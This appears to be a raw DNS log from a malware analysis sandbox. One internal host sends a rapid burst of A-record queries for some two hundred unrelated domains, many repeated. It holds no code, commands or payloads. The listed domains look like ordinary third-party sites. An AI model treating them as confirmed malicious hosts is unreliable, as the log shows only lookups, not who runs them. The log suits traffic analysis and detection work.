May 31, 2023 14:52:04.700911999 CEST	192.168.2.3	8.8.8.8	0xe462	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.702816963 CEST	192.168.2.3	8.8.8.8	0x217e	Standard query (0)	ludomemo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.709716082 CEST	192.168.2.3	8.8.8.8	0x27f4	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.734734058 CEST	192.168.2.3	8.8.8.8	0x8021	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.842202902 CEST	192.168.2.3	8.8.8.8	0x9f75	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.843631983 CEST	192.168.2.3	8.8.8.8	0x8cf4	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.903060913 CEST	192.168.2.3	8.8.8.8	0x6c48	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.954500914 CEST	192.168.2.3	8.8.8.8	0x9783	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.979989052 CEST	192.168.2.3	8.8.8.8	0x2c06	Standard query (0)	dyag-eng.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:04.986773014 CEST	192.168.2.3	8.8.8.8	0x428	Standard query (0)	cpmteam.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.031507969 CEST	192.168.2.3	8.8.8.8	0xc714	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.039540052 CEST	192.168.2.3	8.8.8.8	0xadb9	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.057503939 CEST	192.168.2.3	8.8.8.8	0xa092	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.059802055 CEST	192.168.2.3	8.8.8.8	0x1060	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.062400103 CEST	192.168.2.3	8.8.8.8	0x81d6	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.064496040 CEST	192.168.2.3	8.8.8.8	0xb9e5	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.092776060 CEST	192.168.2.3	8.8.8.8	0xea9b	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.122637987 CEST	192.168.2.3	8.8.8.8	0xce3e	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.188839912 CEST	192.168.2.3	8.8.8.8	0x5a9f	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.191214085 CEST	192.168.2.3	8.8.8.8	0x6494	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.220371008 CEST	192.168.2.3	8.8.8.8	0x17a0	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.234261036 CEST	192.168.2.3	8.8.8.8	0xdf0c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.269826889 CEST	192.168.2.3	8.8.8.8	0x5770	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.289659023 CEST	192.168.2.3	8.8.8.8	0xa1fa	Standard query (0)	envogen.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.321593046 CEST	192.168.2.3	8.8.8.8	0xaa2	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.328293085 CEST	192.168.2.3	8.8.8.8	0xdf50	Standard query (0)	k-nikko.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.339572906 CEST	192.168.2.3	8.8.8.8	0x4c82	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.368777990 CEST	192.168.2.3	8.8.8.8	0x7d97	Standard query (0)	xinhui.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.371762037 CEST	192.168.2.3	8.8.8.8	0xd74f	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.381411076 CEST	192.168.2.3	8.8.8.8	0x2831	Standard query (0)	nrsi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.410067081 CEST	192.168.2.3	8.8.8.8	0x65bd	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.421530008 CEST	192.168.2.3	8.8.8.8	0x492f	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.446010113 CEST	192.168.2.3	8.8.8.8	0xdde4	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.447773933 CEST	192.168.2.3	8.8.8.8	0xc6bc	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.450776100 CEST	192.168.2.3	8.8.8.8	0x72cb	Standard query (0)	simetar.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.502477884 CEST	192.168.2.3	8.8.8.8	0x75ee	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.537738085 CEST	192.168.2.3	8.8.8.8	0xe7f4	Standard query (0)	rtcasey.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.563378096 CEST	192.168.2.3	8.8.8.8	0xe4e9	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.565063953 CEST	192.168.2.3	8.8.8.8	0x5b56	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.566919088 CEST	192.168.2.3	8.8.8.8	0xfc20	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.595495939 CEST	192.168.2.3	8.8.8.8	0x6f65	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.606498003 CEST	192.168.2.3	8.8.8.8	0x3fbc	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.612205029 CEST	192.168.2.3	8.8.8.8	0x432	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.618957996 CEST	192.168.2.3	8.8.8.8	0x7ebe	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.660145998 CEST	192.168.2.3	8.8.8.8	0x53d1	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.662596941 CEST	192.168.2.3	8.8.8.8	0xb4dc	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.719254017 CEST	192.168.2.3	8.8.8.8	0x27f4	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.792057991 CEST	192.168.2.3	8.8.8.8	0xcb15	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.821115017 CEST	192.168.2.3	8.8.8.8	0x85d0	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.828668118 CEST	192.168.2.3	8.8.8.8	0x14df	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.834377050 CEST	192.168.2.3	8.8.8.8	0x4181	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.854710102 CEST	192.168.2.3	8.8.8.8	0x803	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.896231890 CEST	192.168.2.3	8.8.8.8	0x9284	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:05.912938118 CEST	192.168.2.3	8.8.8.8	0x4871	Standard query (0)	mondopp.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.016362906 CEST	192.168.2.3	8.8.8.8	0x1a75	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.064321041 CEST	192.168.2.3	8.8.8.8	0x2ff8	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.067534924 CEST	192.168.2.3	8.8.8.8	0xf434	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.115629911 CEST	192.168.2.3	8.8.8.8	0xa5e6	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.135071039 CEST	192.168.2.3	8.8.8.8	0xf7ed	Standard query (0)	envogen.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.266700029 CEST	192.168.2.3	8.8.8.8	0xbf51	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.279536009 CEST	192.168.2.3	8.8.8.8	0xdf0c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.286217928 CEST	192.168.2.3	8.8.8.8	0x9022	Standard query (0)	ftmobile.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.299092054 CEST	192.168.2.3	8.8.8.8	0x8e75	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.322577953 CEST	192.168.2.3	8.8.8.8	0xdc6a	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.326136112 CEST	192.168.2.3	8.8.8.8	0x84ec	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.353458881 CEST	192.168.2.3	8.8.8.8	0x69ca	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.390022993 CEST	192.168.2.3	8.8.8.8	0x5dc	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.440067053 CEST	192.168.2.3	8.8.8.8	0x748b	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.479183912 CEST	192.168.2.3	8.8.8.8	0xaeca	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.495322943 CEST	192.168.2.3	8.8.8.8	0xbd77	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.501183033 CEST	192.168.2.3	8.8.8.8	0xfc97	Standard query (0)	tbvlugus.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.504015923 CEST	192.168.2.3	8.8.8.8	0x7736	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.505703926 CEST	192.168.2.3	8.8.8.8	0xbd95	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.564502001 CEST	192.168.2.3	8.8.8.8	0xf0ac	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.599140882 CEST	192.168.2.3	8.8.8.8	0x5ef5	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.612807035 CEST	192.168.2.3	8.8.8.8	0xf433	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.623298883 CEST	192.168.2.3	8.8.8.8	0x432	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.634290934 CEST	192.168.2.3	8.8.8.8	0x8db1	Standard query (0)	skgm.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.657079935 CEST	192.168.2.3	8.8.8.8	0x9026	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.671524048 CEST	192.168.2.3	8.8.8.8	0x4749	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.678123951 CEST	192.168.2.3	8.8.8.8	0xae8	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.680305958 CEST	192.168.2.3	8.8.8.8	0x11e2	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.704220057 CEST	192.168.2.3	8.8.8.8	0x4364	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.711883068 CEST	192.168.2.3	8.8.8.8	0x32fc	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.747900963 CEST	192.168.2.3	8.8.8.8	0xf2bf	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.779524088 CEST	192.168.2.3	8.8.8.8	0xcb15	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.798681974 CEST	192.168.2.3	8.8.8.8	0x53af	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.821599007 CEST	192.168.2.3	8.8.8.8	0x15f6	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.844592094 CEST	192.168.2.3	8.8.8.8	0x5f64	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.879457951 CEST	192.168.2.3	8.8.8.8	0x9c8d	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.923441887 CEST	192.168.2.3	8.8.8.8	0x7fc8	Standard query (0)	umcor.am	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.942991972 CEST	192.168.2.3	8.8.8.8	0x4b77	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.943053961 CEST	192.168.2.3	8.8.8.8	0x3fc8	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.956855059 CEST	192.168.2.3	8.8.8.8	0xbca9	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.004215956 CEST	192.168.2.3	8.8.8.8	0x2a5d	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.108309984 CEST	192.168.2.3	8.8.8.8	0xe1a2	Standard query (0)	gujarat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.191656113 CEST	192.168.2.3	8.8.8.8	0x7ab3	Standard query (0)	bigzz.by	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.237600088 CEST	192.168.2.3	8.8.8.8	0x8a91	Standard query (0)	jsaps.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.271794081 CEST	192.168.2.3	8.8.8.8	0xc673	Standard query (0)	dzm.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.292716980 CEST	192.168.2.3	8.8.8.8	0x3857	Standard query (0)	biosolve.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.300539970 CEST	192.168.2.3	8.8.8.8	0x20ac	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.323867083 CEST	192.168.2.3	8.8.8.8	0xa90d	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.326015949 CEST	192.168.2.3	8.8.8.8	0xaa2	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.346362114 CEST	192.168.2.3	8.8.8.8	0x6698	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.347124100 CEST	192.168.2.3	8.8.8.8	0xc0eb	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.351824045 CEST	192.168.2.3	8.8.8.8	0x9c55	Standard query (0)	bigzz.by	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.395663977 CEST	192.168.2.3	8.8.8.8	0x8736	Standard query (0)	alexpope.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.408651114 CEST	192.168.2.3	8.8.8.8	0x44dd	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.459158897 CEST	192.168.2.3	8.8.8.8	0x506	Standard query (0)	kewlmail.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.459511995 CEST	192.168.2.3	8.8.8.8	0x673e	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.481864929 CEST	192.168.2.3	8.8.8.8	0x300d	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.489706039 CEST	192.168.2.3	8.8.8.8	0xc30c	Standard query (0)	www.medius.si	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.518661022 CEST	192.168.2.3	8.8.8.8	0x8083	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.523930073 CEST	192.168.2.3	8.8.8.8	0xbe03	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.585772991 CEST	192.168.2.3	8.8.8.8	0x5a55	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.589557886 CEST	192.168.2.3	8.8.8.8	0xf3d6	Standard query (0)	www.ka-mo-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.598577023 CEST	192.168.2.3	8.8.8.8	0x1856	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.623092890 CEST	192.168.2.3	8.8.8.8	0x432	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.645561934 CEST	192.168.2.3	8.8.8.8	0x5118	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.655116081 CEST	192.168.2.3	8.8.8.8	0x9e70	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.660844088 CEST	192.168.2.3	8.8.8.8	0x1717	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.665168047 CEST	192.168.2.3	8.8.8.8	0x2e87	Standard query (0)	xsui.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.688306093 CEST	192.168.2.3	8.8.8.8	0xc552	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.688355923 CEST	192.168.2.3	8.8.8.8	0x4412	Standard query (0)	mjrcpas.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.689269066 CEST	192.168.2.3	8.8.8.8	0x476d	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.689527035 CEST	192.168.2.3	8.8.8.8	0xe81	Standard query (0)	nrsi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.695686102 CEST	192.168.2.3	8.8.8.8	0x4749	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.804125071 CEST	192.168.2.3	8.8.8.8	0xb071	Standard query (0)	bidroll.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.806083918 CEST	192.168.2.3	8.8.8.8	0xecdf	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.872688055 CEST	192.168.2.3	8.8.8.8	0xb13c	Standard query (0)	shztm.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.890368938 CEST	192.168.2.3	8.8.8.8	0xd135	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.130230904 CEST	192.168.2.3	8.8.8.8	0xd45a	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.189002991 CEST	192.168.2.3	8.8.8.8	0x2a81	Standard query (0)	akdeniz.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.238805056 CEST	192.168.2.3	8.8.8.8	0x8f1b	Standard query (0)	infotech.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.298878908 CEST	192.168.2.3	8.8.8.8	0xbaac	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.308535099 CEST	192.168.2.3	8.8.8.8	0x480c	Standard query (0)	oaith.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.325876951 CEST	192.168.2.3	8.8.8.8	0xdf0c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.369987965 CEST	192.168.2.3	8.8.8.8	0x379b	Standard query (0)	karila.fr	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.397133112 CEST	192.168.2.3	8.8.8.8	0x65b4	Standard query (0)	peminet.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.420556068 CEST	192.168.2.3	8.8.8.8	0x5028	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.455557108 CEST	192.168.2.3	8.8.8.8	0x6c93	Standard query (0)	lpver.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.486471891 CEST	192.168.2.3	8.8.8.8	0xcdfc	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.502538919 CEST	192.168.2.3	8.8.8.8	0xdd49	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.502538919 CEST	192.168.2.3	8.8.8.8	0x7d9b	Standard query (0)	stopllc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.518461943 CEST	192.168.2.3	8.8.8.8	0x868b	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.534323931 CEST	192.168.2.3	8.8.8.8	0x8e2b	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.536770105 CEST	192.168.2.3	8.8.8.8	0x1de2	Standard query (0)	revoldia.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.549411058 CEST	192.168.2.3	8.8.8.8	0xa0f	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.559541941 CEST	192.168.2.3	8.8.8.8	0x875	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.561292887 CEST	192.168.2.3	8.8.8.8	0x3399	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.565567017 CEST	192.168.2.3	8.8.8.8	0xee1a	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.581371069 CEST	192.168.2.3	8.8.8.8	0x82b9	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.584624052 CEST	192.168.2.3	8.8.8.8	0xffab	Standard query (0)	hes.pt	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.584706068 CEST	192.168.2.3	8.8.8.8	0x62fc	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.589374065 CEST	192.168.2.3	8.8.8.8	0xe4c4	Standard query (0)	xsui.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.606960058 CEST	192.168.2.3	8.8.8.8	0x1856	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.611694098 CEST	192.168.2.3	8.8.8.8	0x2782	Standard query (0)	okashimo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.626738071 CEST	192.168.2.3	8.8.8.8	0xc536	Standard query (0)	wnit.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.669836998 CEST	192.168.2.3	8.8.8.8	0x1717	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.670147896 CEST	192.168.2.3	8.8.8.8	0x9e70	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.688559055 CEST	192.168.2.3	8.8.8.8	0x4bb1	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.714543104 CEST	192.168.2.3	8.8.8.8	0xdb7e	Standard query (0)	www.com-sit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.716450930 CEST	192.168.2.3	8.8.8.8	0x4749	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.718732119 CEST	192.168.2.3	8.8.8.8	0xcc63	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.781404972 CEST	192.168.2.3	8.8.8.8	0xd9e5	Standard query (0)	univi.it	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.863241911 CEST	192.168.2.3	8.8.8.8	0xb352	Standard query (0)	assideum.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.969990969 CEST	192.168.2.3	8.8.8.8	0x8a1d	Standard query (0)	gbp-jp.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.080965042 CEST	192.168.2.3	8.8.8.8	0xa444	Standard query (0)	at-shun.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.109575987 CEST	192.168.2.3	8.8.8.8	0x7caf	Standard query (0)	daytonir.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.109648943 CEST	192.168.2.3	8.8.8.8	0x1d02	Standard query (0)	enguita.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.109921932 CEST	192.168.2.3	8.8.8.8	0x6362	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.110311031 CEST	192.168.2.3	8.8.8.8	0xc9ee	Standard query (0)	umcor.am	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.242392063 CEST	192.168.2.3	8.8.8.8	0x4fb5	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.291116953 CEST	192.168.2.3	8.8.8.8	0x3cd5	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.319335938 CEST	192.168.2.3	8.8.8.8	0xfedd	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.354487896 CEST	192.168.2.3	8.8.8.8	0xb203	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.378566980 CEST	192.168.2.3	8.8.8.8	0xcb7f	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.421149969 CEST	192.168.2.3	8.8.8.8	0xe87c	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.424222946 CEST	192.168.2.3	8.8.8.8	0xb357	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.598591089 CEST	192.168.2.3	8.8.8.8	0x9342	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.622997999 CEST	192.168.2.3	8.8.8.8	0x1856	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.686382055 CEST	192.168.2.3	8.8.8.8	0x1717	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.686422110 CEST	192.168.2.3	8.8.8.8	0x9e70	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.712032080 CEST	192.168.2.3	8.8.8.8	0x62a6	Standard query (0)	gbmfg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.740840912 CEST	192.168.2.3	8.8.8.8	0x5852	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.760037899 CEST	192.168.2.3	8.8.8.8	0x4bc8	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.763693094 CEST	192.168.2.3	8.8.8.8	0x827d	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.780142069 CEST	192.168.2.3	8.8.8.8	0xb63b	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.800153017 CEST	192.168.2.3	8.8.8.8	0x89f5	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.831928968 CEST	192.168.2.3	8.8.8.8	0xe0d4	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.848191977 CEST	192.168.2.3	8.8.8.8	0x2f4	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.909440041 CEST	192.168.2.3	8.8.8.8	0x6bfb	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.982146025 CEST	192.168.2.3	8.8.8.8	0x51a9	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.121057987 CEST	192.168.2.3	8.8.8.8	0x6d02	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.145015955 CEST	192.168.2.3	8.8.8.8	0x8fa	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
